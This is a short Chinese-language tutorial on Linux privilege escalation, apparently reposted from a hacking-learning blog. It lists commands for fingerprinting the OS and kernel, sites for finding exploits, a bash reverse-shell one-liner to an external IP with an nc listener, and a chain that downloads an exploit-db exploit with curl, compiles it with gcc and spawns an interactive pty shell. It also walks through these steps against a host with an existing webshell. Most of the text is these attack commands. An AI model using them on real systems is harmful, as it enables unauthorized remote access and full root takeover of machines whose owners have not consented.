Linux提权学习
系统漏洞提权
1、获取操作系统版本号
2、根据版本号搜索exp
3、反弹shell
4、尝试利用
1、获取系统版本号:
获取发行版本
• cat /etc/issue • cat /etc/*-release • cat /etc/lsb-release • cat /etc/redhat-release
获取内核版本
• cat /proc/version • uname -a • uname -mrs • rpm -q kernel • dmesg | grep Linux • ls /boot | grep vmlinuz
2、搜索exp获取内核版本
http://www.exploit-db.com • http://1337day.com • http://www.securiteam.com • http://www.securityfocus.com • http://www.exploitsearch.net • http://metasploit.com/modules/ • http://securityreason.com • http://seclists.org/fulldisclosure/ • http://www.google.com
3.反弹shell
自己主机使用nc监听端口
nc -l -p 8080
目标服务器运行
/bin/bash -i >& /dev/tcp/114.115.214.203/8888 0<&1
实例演示:
此时http://10.22.5.70/dahuiji.php 已经取得一个webshell
首先获取操作系统版本号
搜索exp
反弹shell
/bin/bash -i >& /dev/tcp/114.115.214.203/8888 0<&1
尝试利用exp
curl https://www.exploit-db.com/download/35370 > exp.c
gcc编译一下 exp.c 生成exp
gcc exp.c -o exp -lpthread
使用
python -c ‘import pty; pty.spawn(“/bin/bash”)’
增加交互的
python -c ‘import pty; pty.spawn(“/bin/bash”)’
效果
文章来源:HACK学习呀